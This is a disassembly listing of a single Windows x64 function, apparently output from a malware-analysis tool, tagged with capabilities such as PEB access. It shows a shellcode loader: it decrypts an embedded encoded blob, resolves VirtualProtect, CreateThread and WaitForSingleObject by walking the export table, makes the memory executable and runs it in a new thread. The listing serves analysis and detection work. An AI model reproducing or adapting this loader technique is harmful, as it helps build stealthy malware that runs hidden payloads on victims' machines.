Function at 0x140004b90
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xc0
mov rax, qword [0x14003c040]
xor rax, rsp
mov qword [rbp + 0x27], rax
movups xmm0, xmmword [str.oaMJ3dY7Wyv_Me]
movups xmmword [rbp + 0xf], xmm0
movzx eax, byte [0x140037198]
mov byte [rbp + 0x1f], al
movups xmm0, xmmword [str.cz_ax_RDj_.62c_]
movups xmmword [rbp - 0x49], xmm0
movzx eax, byte [0x1400371b0]
mov byte [rbp - 0x39], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
mov ecx, 0x2f0
call fcn.140006de0
mov r9, rax
mov qword [rbp - 0x11], rax
movdqa xmm0, xmmword [0x140037510]
movdqu xmmword [rbp - 1], xmm0
mov rdx, rax
lea rcx, str.HBqjD_JxIjs7hoFYujH2xb_7c9oOoHrxhRH84xVGjBVNa0IdYACn4kPVd2Rnmb3Jk9Uxpsr8diLtRodIVWJOS1_qG0DGYvNvc1sqhxNjRadalgWbDcIYhKVO8EGBM5Sfluez_acKdyQjeRScESS9RyUxRgcd5Z1OOHDqmrTLKgXLsYxyFMRRDMq25LFMEzOxfUglIqi8OR74p4FMVf3Oinx2SxOfkglfQkcXvkUUdMfMb5nIhPv7IuPxJApPbF7zs8g_kbN6NgcI0CpCIxWu8epxAeRC2gqhgzCkV50iZDPzFXK5qPP9STOdgzDI_xBnw2TmQGwnJIFgFbWZ69IpFImH5Lq3qniDzpQlV2wS0Q29tOR37rgxLdyO5P2VVdEGOummQVjTQBKRJ9tfme69kHuvPSvXMMtvH1UHfTy9fdDpnPqCYWAbp0wz1W34yZZpX0gJA1HRzTxR0Jo176UOY4EoqxLL5rLie1e1b198b0gWMi3FUosTHMP1aGx2WJZONE8EVSFfGP8lEa3anQSx_J1ZrZheltCXJ6VKUMTUIA_yMT2hIBcMUgG_W9wYgv9xWYFLryxqHVSD45bDlTewwQjI6uI1xLau8VP2abmJQLbJt4BxlEr1pCdzZlslhpDkT8lOD_u82_rMymdedmgMVJMnOG8B9cdK4ilzY9dR1jQGZS4PVwg0gvZbPz7pVlLpHfj5qnD4c3k5BdcvFSZXbCLE5R7AuU
mov r8d, 5
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r8, 1
jne 0x1400048e1
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
mov rax, qword [rcx + 0x60]
mov qword [rdx + 0x60], rax
mov eax, dword [rcx + 0x68]
mov dword [rdx + 0x68], eax
mov byte [r9 + 0x2ec], r8b
lea r9, [rbp - 0x49]
lea r8, [rbp + 0xf]
lea rdx, [rbp - 0x11]
lea rcx, [rbp - 0x31]
call fcn.1400027c0
nop
lea rdi, [rbp - 0x31]
cmp qword [rbp - 0x19], 0xf
cmova rdi, qword [rbp - 0x31]
mov rcx, qword [rbp - 0x21]
shr rcx, 1
mov edx, 1
call fcn.14000db4c
mov qword [rbp - 0x59], rax
xor ebx, ebx
test qword [rbp - 0x21], 0xfffffffffffffffe
jbe 0x1400049ea
nop dword [rax + rax]
lea r8, [rbx + rax]
lea rdx, str._02x
mov rcx, rdi
call fcn.1400047f0
add rdi, 2
inc rbx
mov rax, qword [rbp - 0x21]
shr rax, 1
cmp rbx, rax
mov rax, qword [rbp - 0x59]
jb 0x1400049c0
call 0x140004b90
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], 0
je 0x140004a0e
nop word [rax + rax]
mov rax, qword [rax]
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], 0
jne 0x140004a00
mov r14, qword [rax + 0x10]
movsxd rax, dword [r14 + 0x3c]
mov ecx, dword [rax + r14 + 0x88]
add rcx, r14
mov r15d, dword [rcx + 0x1c]
add r15, r14
mov r12d, dword [rcx + 0x20]
add r12, r14
mov r13d, dword [rcx + 0x24]
add r13, r14
xor ebx, ebx
mov edi, dword [rcx + 0x18]
test rdi, rdi
je 0x140004a6c
movzx eax, word [r13 + rbx*2]
mov esi, dword [r15 + rax*4]
add rsi, r14
mov ecx, dword [r12 + rbx*4]
add rcx, r14
lea rdx, [0x140037178]
call fcn.140027090
test eax, eax
je 0x140004a70
inc rbx
cmp rbx, rdi
jb 0x140004a40
mov rsi, qword [rbp - 0x59]
lea rdx, str.VirtualProtect
mov rcx, r14
call rsi
mov rbx, rax
lea rdx, str.CreateThread
mov rcx, r14
call rsi
mov rdi, rax
lea rdx, str.WaitForSingleObject
mov rcx, r14
call rsi
mov rsi, rax
lea r9, [rbp - 0x51]
mov edx, 4
lea r8d, [rdx + 0x3c]
mov rcx, qword [rbp - 0x59]
call rbx
xor ebx, ebx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8, qword [rbp - 0x59]
xor edx, edx
xor ecx, ecx
call rdi
mov edx, 0xffffffff
mov rcx, rax
call rsi
nop
mov rdx, qword [rbp - 0x19]
cmp rdx, 0xf
jbe 0x140004b0e
inc rdx
mov rcx, qword [rbp - 0x31]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b8a
call fcn.140006b10
mov qword [rbp - 0x21], rbx
mov qword [rbp - 0x19], 0xf
mov byte [rbp - 0x31], 0
mov rdx, qword [rbp + 7]
cmp rdx, 0xf
jbe 0x140004b55
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b84
call fcn.140006b10
xor eax, eax
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140006af0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14000dad4
nop
call fcn.14000dad4
nop
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret